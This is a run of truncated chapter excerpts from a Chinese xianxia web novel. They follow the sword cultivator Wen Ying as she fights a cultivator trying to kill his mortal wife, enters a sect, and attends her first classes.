她摸着闻樱的头发,爱怜不已:“我小时候头发很少,她每日都来为我梳头。她有一双巧手,喜欢为我梳一对双髻,还送了我一支亲手打造的银簪。” “是你头上那支吗?” “是。”素素说道。 “我那时候想,她一定会是一个很好的母亲,但我又不希望她成为母亲,被困于宅院。我希望她有一把剑,有一匹马,行遍世间 6. 质问 《经常帮捉妖的漂亮师妹》全本免费阅读 闻樱借着月光,擦拭剑身,原主的佩剑不知是从哪个犄角旮旯寻来的,并非什么名家所造,就是一把最普通不过的开过刃的长剑。 但常言道,强者从不抱怨环境。 闻樱虽不是强者,但也不会嫌弃手中之剑。 曾经即便手中握着的是木剑,她也能把顾其渊杀的片甲不留。 昨夜的敲门声又一次响起,女人阴恻恻的声音如湿冷的毒蛇,在闻樱耳边响起:“小鱼你睡了吗?快来给我开门,放我进去。” 闻樱提着剑,走到门口,剑身一挑,木栓飞了出去。 木板门嗵的一声,被阴风吹开。 她的长发被这股强烈的风气吹得乱舞,而她站在气浪中心,岿然不动,目沉如水。 门外哪里来的人? 闻樱蹲下身,从地上捡起一朵即将凋零的海棠花。 她将这朵花插在鬓发间,向前看去。 此时外面的景象已经和她进屋之前,大不相同。 猛风飘电,黑云乍生,阴霾将月亮遮蔽,素素挂起的灯笼被风卷起,狂摇乱舞。 庭院里面昔日繁茂的花草,也杂乱衰败。 海棠树上的花似乎顷刻之间被人抽取生机一般,纷纷扬扬的飘落,如一场衰败的花雨。 隔过飘零的海棠,她看到了被男人压在树上的素素。 素素也看到了她。 她面容凄楚,泪水滚落,戚戚然将闻樱望着,红唇轻启。 一道惊雷轰的响起,她只看到素素嘴巴张合,没能听到她在说什么。 雪亮的剑刃映照出素素的破碎,和男人杀心难掩的面容。 闻樱将剑飞掷而去,剑身在空中如银轮一般飞速转动,当的一声,砍在男人逼近的剑刃上面,火星四溅。 男人没想到闻樱会在这时出来,被她这柄注入了全部力道的剑打的往后踉跄几步。 闻樱趁他被打退,一把拽过素素,揽着她迅速后退到离男人几个身位远的距离。 她伸出另一只手,长剑重新回到她的手中。 素素看上去情况很不好,不知是不是喝了太多酒水的缘故,连站都站不稳。 如果不是闻樱出现,现在应当就是手无缚鸡之力的素素对上起了杀心的男人,甚至不用多想,闻樱就知道结局。 少女眼中涌上了罕见的薄怒。 她行走在凡间之时,看到过那么不愤不平之事,她以为自己已经不会生气了,但此刻,她内心还是感受到一股怒意。 闻樱将素素安置一旁,自己提剑砍了上去。 男人周身灵气暴涨,闻樱和他比起来,所拥有的灵气杯水车薪,每一次砍在男人身上剑上,自己都要承受比之深数倍的痛苦。 但她没有丝毫退缩,仿佛一个感受不到痛苦的机器一样。 痛,就会退缩,一旦生退缩之意,便破绽百出。 这是顾怀若教给她的第一课。 长剑纵横捭阖,快到男人无法招架,剑如流光劈砍而下。 他有些慌了,顿生退却之意,试图和闻樱沟通。 “今日之事与你无关,你现在走出这道门,我不会伤你分毫。” 破绽已现,闻樱手持长剑破气而入,刺入男人肩膀。 男人哀嚎一声,捂着肩膀痛骂道:“你个贱人,你怎么敢?” 他咬牙将一道灵气拍入肩膀,延缓血流的速度,随后反手握剑,磅礴剑气带着想要将闻樱碎尸万段的戾气,再度向闻樱罩下。 闻樱曾见过无数次这样的眼神,对手的无视令他恼羞成怒,令他破防大骂。 她和很多男人打过,他们的心境比起女人,总是要差很多,他们禁不起恝然,更禁不起驳斥。 但即便闻樱觉得跟这种想要杀妻之人说话是浪费生命,她也想知道为什么要杀素素。 两剑十字砍在一起,都进退不得,闻樱和男人离得很近。 她问:“为什么?” “为什么要杀素素?” “你不懂。修仙之人,所求不过飞升,若为凡世红尘所累,何以得证大道?儿女情长,皆属虚妄,凡生爱恋,逆旅而已,如若不杀妻,何以践行无情大道?” “你们总有如此多冠冕堂皇的话,其实你从未将素素当过自己的妻子。你自诩修士,高高在上,在你眼中素素不过是一介凡人,凡人血,凡人骨,一生与仙途无缘,是你所谓大道的累赘,于是你现在想要抛下她,就像抛下一根发丝一般心无愧意。” “我为何有愧?素素是我的妻子,与我便是一体,我好即为她好,我灭即为她灭,助我得道,她有何不愿?割舍欲望,何错之有?” “的确,人为欲望所累,但也因欲望所存在,人若不论好坏,割舍一切欲望,无情无爱,无欲无求,和牲畜又有什么区别?更何况你修你的道,你绝你的情,你来招惹素素做什么?让她成为你践行无情大道的踏板? 你们满口仁义道德,断情绝爱,然则自私虚伪,对他人生杀予夺,夺取他人性命之后还要表现出一副我也很痛苦,我也很难过的样子,你想过被你杀的那个人是怎么想的吗?别人只觉得倒了八辈子血霉,遇上你这么一个人。” 闻樱冷笑:“你们的无耻,我真是常看常新。” 她手中用力,素腕青筋暴起,硬生生将男人逼退三分。 男人暴喝一声,灵力翻涌,两人同时被磅礴的灵气掀翻出去,闻樱将剑插入地中,稳住身形,喉结迅速滚动,压下翻涌而上的腥甜。 男人要更惨一些,明明有灵气的是他,他却不知道为什么打不过面前这个女人。 他被掀翻在墙上,滚落地下喷出一口鲜血,染红了面前的海棠碎瓣。 闻樱低头看掌心剑,她不知道砍了男人多少刀,剑上满是豁口。 她起身,将剑拔出,又要攻去,远处传来少女熟悉的声音。 闻樱回头望去,林妙音两手放在嘴边,大声喊道:“闻樱,接着!” 一把剑被身影如梭的少女运至她手中,李却扇送完剑,手中折扇射出两道钩爪,钩住槐树,远离了闻樱身边。 闻樱低头,她手中的是上古神剑,鱼常剑。 闻樱唇角勾出一抹笑意,弃掉手中残剑,反手将鱼常剑握紧,向男人再度攻去。 林妙音看呆了,这把在她手中无功无过的剑,在闻樱手中却发挥了它最大的威力。 她像是天生为用剑而生。 不!她自己就是一把锋利的饮血之剑。 此刻,剑骨在她体内催拉到极致,闻樱借剑骨之气赋予手中鱼常剑。 茜红罗裙翻涌,银光在其中若隐若现,少女每一道都是致人于死地 7. 嘱托 《经常帮捉妖的漂亮师妹》全本免费阅读 素素启唇,说道:“你劝了我那么多,我却没有听你劝告,最后枉送性命。” 她指的是闻樱曾多次暗示她,她和男人之间的相遇定情充满违和感。 闻樱摇头道:“这不怪你,我们三人是外来之客,我劝你也只是后来发生之事,在事情发生的当下,无人劝你,无人拉你一把。你是受害者,你没有错。” 素素微微错愕,愣了好一会儿。 许久,她垂眸释怀一笑。 “如果当时,我身边也有你就好了。” 可惜,她们之间隔了两百年。 素素又问道:“你知道我为什么要将你拉入境中吗?” 闻樱也曾多次想过这个问题,从来没有任何异动的玉虚境,为何会被启动? “你可知玉虚境下,为何地?” “剑冢。” 还有锁灵渊的禁地。 闻樱不确定素素知不知道锁灵渊有禁地一说,便没有提此样。 “不止,在你的气息注入法阵的那一刻,发生异动的不止有剑冢,剑冢之下,深渊尽头,似乎有别的什么东西发出嘶吼,而这两样都是因你而起。 若放任法阵继续运转下去,你会被锁灵渊那些人抓起来,研究你身上究竟有何秘密,所以是我启动了玉虚境,将你拉进来,在你走后,异动平息,他们便断定,方才的异常,是玉虚境所为。” “多谢,不过为何要帮我?” 素素望着她,似乎透过她在看别的什么东西。 许久,她轻声道:“或许,是因为你身上有故人气息。” “小鱼,我先前对你所说,皆为真言。家姐名为姜雉,曾拜入锁灵渊寻仙问道,于剑术一道颇有造诣,请你帮我打听她的下落,无论生死,我都想知道她发生了什么。” “娘子放心,我自会帮你打听。” 素素浅笑,抬起手,将她也送出玉虚境。 闻樱的身形随着时间的流逝逐渐淡化,她望着素素,不知为何心里有些堵。 消瘦的女子立在原地,对她轻轻挥手。 她仿佛被永远地困在了那里,亦被困在了两百年前的那个深夜。 * 闻樱呛咳一声,从善境中清醒。 过去的几日好似做了一场大梦,再看现实,多少有些不真实感。 这是入境的后遗症,她前世已经习惯。 姜伞见她苏醒,将她从地上扶起。她由着姜伞拉她,目光一错不错地盯着男人的眼睛,没有说话。 她脑海中流过纷杂的片段,感觉当下有一种似曾相识之感。 青年骨节分明的手抚在她后背,凉意透过衣衫被她感知,她张了张嘴,想要说什么。 “……”还没吐出字,就被旁边人说话的声音打断。 “大小姐,掌门闻您被卷入玉虚境内,担心不已,本说找长老去救您,您现在自己出来了,是不是该去拜见掌门,也好叫他放心。” 闻樱闻声看去,那里前前后后总有五六个人。有人帮林妙音撑伞,有人帮林妙音递水,大小姐看起来已经出来好一阵子了,但却留在这里还没有走。 林妙音依旧是那个臭脾气,冷哼道:“玉虚境?玉什么虚,人家有名字叫素素,你去跟掌门说,以后就叫素素境还是素境,随你们。” 几名弟子面面相觑,为首那人无奈道:“大小姐,这玉虚境的名字是自古有之,约定俗成,哪能说改就改,而且这种小事,容后再议便是,现在掌门正在议事堂等您。” “等我干嘛?我这不是没死吗?你们回去复命不就成了。” “大小姐您别为难我们,我们也是奉命行事,您不跟我们走,掌门那里只会迁怒我们。” 林妙音没好气道:“他为难你们,你们就跑来为难我?” “弟子不敢。” “他不是人人称赞的贤主吗?难不成还会苛待你们?好了,让你们调查的事情查清楚了没?告诉我,我就随你们回去一趟。” 弟子哎了一声,脸上带了笑,说道:“您嘱托我们的事已经查清,闻樱此人,是饮冰楼新招的弟子。不知大小姐打听此人作甚?可是她冲撞了您?” 林妙音古怪地看他一眼:“我看起来脾气就那么不好吗?” 弟子讪讪一笑,擦了擦汗,心想可不是嘛,这锁灵渊就数您脾气最大了。 偏偏还是掌门独女,得罪不得。 “好吧。”林妙音娇声道,“我随你们回去,不过你去经世堂的人说,我也要拜入饮冰楼。” “好好好,您说什么都……什么?”给那名弟子吓得嗓子都破了。 林妙音重复了一遍,面上已经有些不耐。 “这得跟掌门说啊,我们做不了主!” “我也没让你们做主。你们替我跑趟经世堂,交代一声便是。掌门那边,我去跟他说。” 闻樱看她神采飞扬的样子,和境中那名凄惨的孤女完全无法联系起来,倒和前世的林妙音对外的模样渐渐重合起来。 她一时分不清,现在究竟在前世,还是在哪里? “你还走得了路吗?”姜伞起身,向她伸出手。 一句话,将她拉回现实。 闻樱摇摇头,明净的眼眸望着他,但也没有要握他手的意思。 林妙音还在那边折磨玄剑宗的弟子,听到姜伞的声音,转过身来,见闻樱已醒,眼神一亮,提起裙摆径直往她这边走来。 走到这边,才察觉两人之间气场有些微妙。 她左看看,右看看,问道:“我不会打扰你们了吧?” 修长的指节不自在地微微蜷缩,姜伞要收回手时,闻樱忽然将小手放入他的掌心。 姜伞顿了顿,将闻樱从地上拉起。 等到闻樱站稳,他松开闻樱的手,面容清冷克制。 闻樱看他一眼,将目光转向林妙音,粲然一笑:“当然没有,你们不是早就出来了吗?怎么还在此地?” “还不是为了等你。你等着,等我拜入饮冰楼,你可要喊我一声师姐!” 闻樱失笑,问:“你比我后入门,我为何要喊你师姐?” “你比我小这么多,难不成还想做我师姐呀?”林妙音没好气地想要掐掐她的脸。 旁边的姜伞静静盯着她,林妙音不知为何感到不自在极了,撇了撇嘴又将手放下。 闻樱笑弯了眼:“那我等你。” 林妙音又凑近,耳语道:“他们想要再测你天赋,我知无论发生什么,当时异动一定与你脱不了干系,再测天赋怕对你不 8. 管絮 《经常帮捉妖的漂亮师妹》全本免费阅读 “快起来闻樱,再不起来拜师礼就要迟到了!” 闻樱睡眼迷蒙,翻了个身,有气无力地说道:“这个师咱们非拜不可吗?” 林妙音和李却扇上来,一人抓着闻樱一只胳膊,把她从床上拉起来。 从玉虚境回来后,闻樱睡着的时间比醒来的时间都多。 然而她每次醒来,身上的修为都更进一步,林妙音的羡慕都说倦了。 “你若不起,干脆别在饮冰楼呆着了,还拜什么师,修什么道?干脆随我回玄剑宗好了,玄剑宗的拜师礼在几日之后,你可等得起。” 饮冰楼。 玄剑宗。 顾怀若。 闻樱坐起身来,道:“等我一下,马上就到。” 为了答谢闻樱破境之恩,林妙音赠送了珠宝首饰、绫罗华裳若干;李却扇则大笔一挥连夜写了几十张符纸塞在锦囊里,让闻樱挂在身上。 两位师姐从衣食住行,到生命安全,都给闻樱包圆了。 闻樱看着塞满衣柜的衣服,忽然感慨。 自己前世在玄剑宗过的都是什么日子。 她手指习惯性地去拿素色衣裙,倏然响起素素所说的话,指尖在柔软的衣裙间移动,落在了一抹殷红上。 她几下穿好衣裳,就要和林妙音她们走。 林妙音神色古怪地看着她:“你就这样去?” 李却扇也说道:“毕竟是拜师礼,你看,就连我都把头发好好束了一下。” 她打小过的粗糙,也不会梳头,只将头发都拢起,在头顶扎了一个高马尾,用青色飘带系紧。 而林妙音就更显隆重了些,头发绾成华美的发髻,乌发云鬓,贵气逼人。 “掌门说我要拜入饮冰楼,就不能带一个侍女来,这还是我天不亮偷跑回玄剑宗找从前的侍女帮我弄得。” 林妙音表示爱莫能助。 闻樱决定,和李却扇一样,扎个高马尾在头顶。她从妆奁中取出金色飘带,将头发高高束起。 李却扇一言难尽地看着她自己扎的高马尾,不知作何评价。 实在是跟饮冰楼牌匾上的字给人异曲同工的感觉。 可惜马上就要到拜师的时间了,来不及解开重新整理,闻樱便顶着略显歪扭的高马尾出门了。 * 今年饮冰楼生源大好,首先是玄剑宗掌门之女没有选择拜入玄剑宗,转而拜入饮冰楼这一行为闹得沸沸扬扬,最主要大小姐任性便罢了,掌门居然还同意了,这才是最让人震惊的。 再者,饮冰楼今年收了一位天才符修,本是凡间一位小道士,于符修之道上却有十成的契合率,玄剑宗率先对这位符修递出橄榄枝,然而她却选择了饮冰楼。 饮冰楼一定有什么长处是他们不知道的,很多人秉持此等信念,一同拜入饮冰楼。 除此之外,倒还有一桩奇事。 饮冰楼那位测试天赋时引起异动的弟子,二十六道天赋值均为五成,将中庸之道贯彻到底,主打一个学什么都行。 今年奇人怎么这么多?还都汇集到饮冰楼了! 因着这些传的纷纷扬扬的小道消息,大家都想看看这几位奇人长什么样子,一早便来紫极殿翘首以盼,等着一睹真容。 然则待到拜师礼快要开始,才将这几人盼来。 为首的那名女子容貌绮丽,云鬓高耸,浑身上下透露着一股金钱奢靡的不正之风,想来就是传说中的林大小姐。 走在她旁边的女子稍矮,肤色白皙,脸颊有肉,头发在脑后高高束起,显得清秀干练。 她不笑的时候看起来颇有些少年老成之感,不知旁边的林妙音说了什么,她忽然笑了起来,颊边小窝若隐若现,看上去亲切可人。 再往后,众人眼睛睁大了些。 不是因为女子艳丽的容貌,而是因为她头发扎的凌乱,看上去滑稽可笑。 金色的发带在她发间扑闪,像一只翩飞的蝴蝶。 她像是看到了什么人,远远地招起手来,笑得眉眼弯弯,明艳的不可方物。 “师兄!” 姜伞身着玄衣,金色宽带将他腰裹紧,衣襟交叠至锁骨上方,多余的是一点都不肯露出。 这身衣服衬得他华贵而俊美,满座师兄弟,被他比进了土里。 姜伞看到她过来,正要打招呼,看到她的头发,问:“谁给你的梳的头?” “我自己呀。”闻樱摸了摸头发,问道,“不好看吗?” “很独特。”姜伞夸她。 闻樱深深地叹口气,怅然道:“别演了,你们想什么我都懂,我何尝不希望一辈子头发只梳一次一劳永逸。上次在境中,素素为我梳的头发很是漂亮,可惜睡了一觉就毁了,若是有什么保持发型的法宝,我定第一个购入。” “再或者,赐我一个田螺姑娘吧。”她虔诚的许了一个愿望。 林妙音闻言,笑得前仰后合。 几人排到了队伍的最后面,闻樱手抬起,遮蔽阳光,往队伍首端看去。 现在讲话的是饮冰楼掌门,管絮。 闻樱心中奇道:竟然又是一个熟人。 她被顾怀若带上玄剑宗时,仅有六岁,于凡间稚子而言,尚且是懵懂粘人的年纪,闻樱却懂事的很早。她试过和顾怀若亲近,但顾怀若都避而不见。 她学了新的剑招,抱着木剑去找顾怀若,想要比划给他看。顾怀若只是冷淡地看他一眼,质问身边的侍童,为何将她带来。 侍童哗啦跪了一地,闻樱抱着木剑,不知所措地站在原地。 她感觉自己做错了事情,但她还没想明白具体因为什么。 侍童将她抱走,那道门在她面前关起来。 侍童告诉闻樱,以后来要提前在宿玉上面发消息通报一下,得到顾怀若的同意才能来。 于是直到她死去,她只有有事的时候,才会去顾怀若的住所。 每次都需要提前通传。 顾怀若从未关心过她是怎么长大的,她一人在无人知晓的角落静静发芽。 留给她的,只有拂去的衣角,和冷若冰霜的面容。 起初,她以为顾怀若天生冷心冷情,不善交际。 后来顾其渊回来了,他们像寻常凡间父子一般,父慈子孝。 闻樱想,他们是血亲,理应亲密些,这并不奇怪。 再后来,顾怀若收了宁红玉为徒,闻樱才明白,原来不是所有人去找他都需要提前报备,原来他对人也是有笑脸的。 只是这一切不是对她而已。 即便闻樱天赋再高,出再多风头,也无济于事。 她想,她应该天生就不是一个会被人喜欢的人。 所以她比别人更明白不患寡而患不均这个道理。 唯有管絮,她那些年能好好活着,大部分都是管絮的功劳,还有小部分是她本人很难杀死的原因,所以她与顾怀若并不亲厚,而是常往管絮的紫极峰去。 她的剑法是自己摸索的,她的咒法却是管絮教的。 她想,她死后玄剑宗唯一会真情实感为她流泪的,可能也就只有管絮了吧。 闻樱叹气,抬头眨了眨眼。 不得了。 再久远的记忆,只要足够伤人,想起来时都足以让人怅然。 “日头这么毒,还得讲到什么时候啊。” 林妙音像是一片被暴晒过的叶子,蔫了吧唧,声音也有气无力。 李却扇也跟着幽幽叹了口气:“新生入学讲话这种东西,也不知是谁发明的。” 闻樱倒没感觉有那么热,身后站着的同窗比她还要高出一头, 9. 开课 《经常帮捉妖的漂亮师妹》全本免费阅读 饮冰楼开课,阖宗上下,忙碌不已。 李却扇一日未见林妙音,甫一见大小姐,险些没认出这个毫无形象坐在地上的人居然是林妙音。 “你这是怎么了?”李却扇收起新买来的朱砂,在林妙音身旁坐下。 “别提了。”林妙音看上去无精打采。 负责体术一课的是曾经玄剑宗紫极峰教习,长孙无疑。 长孙教习同管絮私交甚好,管絮离开玄剑宗之后,长孙教习也随之离去。 林妙音今日为了上课,特地拆了往日的云鬓高髻,换上了简单利落的窄袖剑服,其实她本身也懒得将头发梳的那样精细,只是为了安林舟之心罢了。 初见得长孙教习之时,林妙音还有些意外。 因为她看起来是一个非常柔弱瘦小的女子,但出手之后,林妙音悔的肠子都青了。 “体术一道,我所主张的只有四个字:拔兵伐骨。简而言之,若想练成金刚不败之体术,就要做好将全身骨头打散重建的准备。” 林妙音目光炯然,听得非常认真。 长孙教习负手,在弟子中穿行,声音温柔,却掷地有声。 “掌门既然让你们拜入我门下,就证明你们与体术,缘分不浅。那么提起体修,你们会想什么?虬结的肌肉?无穷的蛮力?你们看我,我符合你们对于体修的印象吗?” 林妙音摇头,宛如长孙教习的忠实捧哏。 长孙教习看着她,微微一笑,说道: “很多人不愿意学习体术,因为没有剑修的潇洒飘逸,也没有符修的玄妙深奥。鲁莽而为,力大无穷,是世人对体修的刻板印象。而我所奉行之炼体术,退可吸纳伤害,进可借力打力。修行体术的两个方式,课上课下你们分别进行。课上与我学习锻体功法,课下按照我给的方子,以药物锻体。” “尤其是女子,我想说的是:力量对女子而言,是最好的自保手段。不要担心锻体术会将你们的腰练粗,也不要担心功法会让的腿长出坚实的肌肉。崇尚力量,夺取力量,是我希望你们在我课上能够明白的道理。” 林妙音听的连连点头。 长孙教习回首,目光锁定她,温柔一笑。 “就你了,林妙音,来与我对打一番。” “于是,就成了现在这个样子了。长孙教习说拔兵伐骨,还真是一点情面都没留,差点给我打的床都下不来了。” 林妙音扯着李却扇的袖子,抹了一把辛酸泪。 “那你明天还去吗?”李却扇忧心道。 哪怕现在仅仅只是坐在这里,林妙音的腿都在打颤。 从林妙音被接回锁灵渊那日开始,她出行必是前呼后拥,形容亦是精致美丽。 而现在的她,丝毫没有往日的端庄。 但是李却扇却觉得这样的她,比从前还要好看。 从前美则美矣,但却像是束之高阁,名曰珍藏的孤本,也像是藏于地窖,价值连城的夜明珠。 那样的美像是被人设定好一般,不能行差踏错。 但现在的美更像是林妙音本人的美,而非她的衣裙,她的首饰之美。 美的很真实。 李却扇这样想。 林妙音思索了一会儿,郑重道:“当然去,我都被打了一天了,若是什么都学不会,这一天不就白挨打了?” “即便是往后被打三百天?” 林妙音很肯定地说道:“即便是往后被打三百天。”她也决不能让今天这顿打付之东流。 但其实,不只是这个原因,林妙音没有说出口。 管絮说的没错,她入门晚,林舟派了玄剑宗最好的教习来教授她剑术。 剑术很好,纵横之间,潇洒写意。 就像是闻樱那日在境中一般,耀眼夺目。 但她其实知道,自己在剑术上没有什么天赋,林舟也心知肚明,但还是执意让她成为一名剑修。 因为锁灵渊内,有头有脸的修二代,都学剑术,你不一定要精通,但一定要会。 更别提林妙音这种修二代中的修二代。 剑术有那么好吗?他们又是真的适合剑吗? 其实未必。 只是因为在林舟此类人眼中,剑术更上的了台面罢了。 哪怕是花拳绣腿,但姿态风流即可。 他从未想过真正的培养她。 就像一个宠物,又或者是一个傀儡,按照他所期许的方向,制定好她未来的路。 可她不能在这样美好的温床中殉道。 她掩下眼中思绪,问李却扇:“你呢,掌门是那样千娇百媚,我见犹怜的女子,你们上课,应当一片和睦吧。” 李却扇闻言,尴尬一笑:“今日,我上的是咒术课。” 管事将一张太师椅锵锵几步抬至众人之前,放下。 管絮裙摆一挥,施施然坐下,手中握着一把留青竹柄,上绘化蝶的团扇,有一下没一下地扇着风。 李却扇紧张地咽了咽口水,上管絮的课,就像在皇帝手下办事一样,让人恨不得打起十二分精神。 “自古符咒一家,不分彼此,但仍分主次。符文为主,咒术为辅,毕竟此地已有千百年未有人飞升成仙了,你们所能用的咒术,不过是从仙人手中偷得的一些权柄而已。” “如果将符文比作凡间皇帝的圣谕,那传递圣谕的官员就是咒术。符文不光要写出来,想要加倍发挥他的实力,就得好好学咒术。” “习得咒术不光能助你驱邪缚魅,保命护身;亦可使你灵台明净,心道合一。我所推崇之咒术,一则净心,二则净身,三则敬神,四则攻昧。” 说完,她团扇招了招:“你来,我们今日,就学净心。” 为首的那名弟子额头滑落一滴汗珠,战战兢兢地上前两步。 管絮轻轻笑道:“怕什么?我又不会吃了你。” 说罢,她施施然开口:“净心一道,需平心静气,气沉丹田,丹朱为先,正伦次之,其后罗千,再者虎贲,炁神引津液,心神固丹元。” 说完,她顿了顿,微笑道:“你可听懂了?” 那名弟子讷讷点头,可看起来却是肉眼可见的晕头转向。 怎么每个字他都懂,连起来却又不知道什么意思? 管絮嘴角露出一抹笑意:“那好,请再为我复述一遍。” 弟子傻眼。 他支支吾吾半天,难能说出一句话。 管絮笑意未变,嘴里吐出的话却能将人置身寒冬腊月:“即便你开口像呆子,也总比你不开口做呆子来的好。” 下首弟子呼吸凝滞,恨不得把自己就地埋土里。 好在管絮也没有再抽查人回答问题的意思。 她坐在椅子上,重复一遍刚才的话。 李却扇注意到周遭灵气波动,说这句话时,管絮用上了灵力。 紧接着,自管絮身下开始,逐渐蔓延出冰霜,以雷霆之势,将众人笼罩于冰雪之境。 管絮依旧靠在太师椅里,但眼底隐有蓝光。 她姿态优雅,如冰雪之境中的独一无二的王。 李却扇站在其中,灵台心神,都感觉到了一股前所未有的清明通透。 林妙音感慨道:“天呐,听着就很厉害,这是掌门独创吧?要不是我咒术契合度太低,听着我都想去偷师一二。从前我在门中,借着一位师姐的关系,与掌门也多有亲近,她不光人长得漂亮,还这么强大,还有毫无保留教你们咒术之心,却扇,你可真是遇到良师了。” 李却扇怔愣,跟着笑起:“我想是的。” “那闻樱呢?你今日一整天,见到她了吗?” 两人对视一眼,眼底皆是茫然。 10. 救美 《经常帮捉妖的漂亮师妹》全本免费阅读 姜伞看了一会儿,忽然伸手将伞移开。 “给魂魄打的,你是活人,不能随便置于伞下。” 闻樱明白了,将伞收起。 伞骨收合,又化作棠花。 “多谢师兄,只不过这种东西,好像很难用到。”闻樱笑着说。 姜伞报以一笑,往前继续走去。 闻樱望着姜伞的背影,笑容渐渐淡下来。 她有时很苦恼于和这种面部表情、情绪起伏有限的人打交道,哪怕是刻意试探他们,他们的想法也并不会呈现在脸上。 她对姜伞有防备心,不过也不妨碍她觉得姜伞是个好人。 闻樱只是觉得,姜伞好像知道什么她不知道的东西,这让她有一种脱离掌控的不真实感。 姜伞的反应,让她看不明白他究竟在想什么。 这样的法器,她当然可以用得到,而且现下就能用得到。 只需找出婴宁剑,让十鸢和婴宁剑融合,十鸢便可以借助此伞,化出实体。 可姜伞知道吗? 不可能,世界上只有闻樱自己知道十鸢在自己体内,许是自己多虑了。 她现在只是一名普通的小门派弟子,别人能图她什么呢? * 没有花伞吸□□气,闻樱果然有精神多了。 今日她只是稍稍赖了一会儿床,便起身拿着剑去院中练剑。 当然,拿的是木剑。 上次那柄剑,已经光荣的牺牲在了玉虚境内。 也许应该叫素境。 林妙音回去之后,大闹经世堂,让他们在玉虚境门口竖了一个高大的木牌,上面就刻两个字,素境。 经世堂哭笑不得地立了个牌子在那里,虽然并没有多少人去看,但起码是让林大小姐满意了。 而且玉虚境以后不会再用做测试天赋之地,自然不会有人前去踏足。 善恶两境,其实可以理解为死火山与活火山。 善境境主虽为大妖,但性本纯善,除非自己按照法门进入,否则境主是不会主动拉人进去的。 而凶境,其主也为大妖,执念深重,怨气颇深,为害四方,凡途经境主权柄之地,皆会被境主拉入。其间凶险万分,倘若行差踏错,即刻万劫不复。 所以玉虚境突然拉人进去,才会为锁灵渊重视。 锁灵渊掌门们不明所以,以为是玉虚境出了问题,不再如往日安全,这才派人封闭入口,以防有弟子遭殃。 无人去也好,想来也清静些。 这人经历过动荡,方才觉得清净难能可贵。 闻樱听到有人走动的声音,挥出剑气,往门口打去。 木门无风自启,向外洞开。 姜伞身形颀长,与她四目相对。 他抬手,将剑气化去。 一股激荡的灵气在院落荡开。 他身上佩剑似感受到这股磅礴剑气,亦起战意,发出清脆的嗡鸣。 似乎在催促主人以它应战。 闻樱下巴一扬:“师兄,你的剑,都等不及了。” 她挽出一道剑花,打的又快又凶。 常说,剑意如心,随心而动,闻樱则不然。 顾怀若说过许多次,她行招杀伐果断,气势磅礴,剑意摧折,然过刚易折,非女子所应练之剑。 不若宁红玉的剑式,行云流水,剑意绵绵,契合女子之性。 可拿剑,不光是为了救人,也是要杀人,剑气若无锋芒,何以杀人,又何以救人。 所以她练此剑,从不收敛锋芒。 只是与姜伞对练,还是下意识地克制锐意。 可姜伞连剑都不拔,以手化去剑式,未免也太不尊重人了吧! 闻樱挥一剑,他便接一剑,闻樱进一步,他便退一步。 如此你来我往,直到木剑压在姜伞袖上,他才说话:“我输了。” 两人离得很近,闻樱佯怒道:“师兄,有你这么让人的吗?剑都不拔分毫,算什么切磋?” “我好像没答应你要切磋。” “那师兄一大早来找我做什么?”闻樱收回剑,不解道。 姜伞让她坐到镜子前,拿起她的梳子。 “师兄,你会用吗?”闻樱抬起头看他。 男人看起来矜贵,也不像会梳头的模样。 姜伞看了一眼手中的梳子,将她头发散开,梳顺。 看着还挺像那么回事。 姜伞问她:“你想梳个什么样的?” 闻樱略微思索,抬手指着头发,道:“这里要梳成这样,这里要梳成那样,下面的再束成两股。” 十鸢的声音在她脑海里冒出来:“你说这么抽象,哪个能人能听得懂啊?” “你怎么跑出来了?”闻樱问她。 “跑出来透口气,顺便同你讲,再买些话本给我,上次那些都看完了。” 说完,她便又钻回了灵府。 闻樱无奈,抬眸,却发现发髻已成雏形。 细长干净的手指在她发间慢慢穿梭。 头发被他梳成干净利落,煞是可爱的双髻。 余下的头发分与两侧,以发带相束。 他很熟练,不像是第一次做。 而且他知道闻樱喜欢的发式。 将最后一绺头发束好,他将流光溢彩的珠翠别在发髻和前发过渡的地方,让乌发显得不那么空落落。 他收手,道:“我去外面等你。” 镜子里的少女明眸皓齿,艳气逼人。 头上的珠翠也不是她妆奁里面的东西。 很漂亮,绝非凡品。 闻樱敛袖,端坐,嘴角是恰到好处的笑容:“你觉得我好看吗,师兄?” 姜伞驻足,回头看她,没说话。 “难道是觉得我善良可爱,努力上进吗?” “……” 闻樱笑容未变,眼底却很冷静。 “你喜欢我吗,师兄?” 姜伞沉声道:“慎言。” 闻樱看着镜子里的自己,许久,久到姜伞都走了。 她轻声自语:“都不是吗?” “那会是因为什么呢?” * 远处,庄粹山的洪钟被撞响,钟声厚重而悠远,传向锁灵渊的每一个角落。 闻樱回头,遥遥望去。 “我得先走了,就要上下一堂课了。” 林妙音拿了糕点塞在她手里:“你快去吧,第一堂课,别让教习不悦,点心拿着路上吃。 ” 闻樱笑容明媚,抱了抱妙音与却扇,拿着糕点急匆匆地往学堂奔去。 她到的时候,正撞上剑术教习袁明。 袁明睨她一眼,扯起嘴角意味不明地说了一句:“还有人来这么早。” “是您来早了,教习。”一位师姐笑着打了圆场,跟闻樱使了个眼色,闻樱感激一笑,回到队伍里。 她方才上弓课之地离这里过远,一路跑来,身上起了薄汗。 姜伞为她占了位置,她站过去,抬头对姜伞笑得眉眼弯弯。 袁明走到上首,淡淡道:“我是你们的剑道教习,我姓袁单名一个明字,你们在座之人很多我都认识,从小也是看着你们长大。既然你们的父母送你们来学剑,便打起精神好好学,说出去不要辱没了我的名声。” 下首弟子纷纷作揖。 剑术是绝大部分修二代的首选,清雅飘逸,挥洒风流。 锁灵渊虽有近千年未有人飞升,但古书明确有记载,千年之前,飞升的修士十个中有五个都是剑修,所以剑道隐隐被推为主流。 袁明曾是玄剑宗教习,在玄剑宗并不出众,也与管絮并不相熟,倒不知为何兜兜转转来了饮冰楼。 不过锁灵渊内,教习流通频繁,此事并不为奇。 闻樱也与这位袁教习并不相熟,更准确说, 11. 问世 《经常帮捉妖的漂亮师妹》全本免费阅读 她细瘦的腕子看上去并没有用力,只轻轻一抬,就将动手的那人推出去几步远。 闻樱将木剑从姜伞面前收回。 孙奇感觉面子被人扔在地上践踏,勃然大怒。 “你是什么东西?你知道我是谁吗?” 闻樱将手掩在唇前,轻轻呵气,似在惊讶:“方才不是已经介绍过了吗?怎么?还需要再介绍一遍是吗?毕竟,除了身份和爹娘,你也没什么东西拿得出手,对吧。” 她将手一伸,笑里藏刀:“如果是这样的话,那么,请。” 孙奇冷笑一声:“伶牙利嘴。我虽然从来不打女人,但这是你自找的,今日就将你们两个一并收拾!” 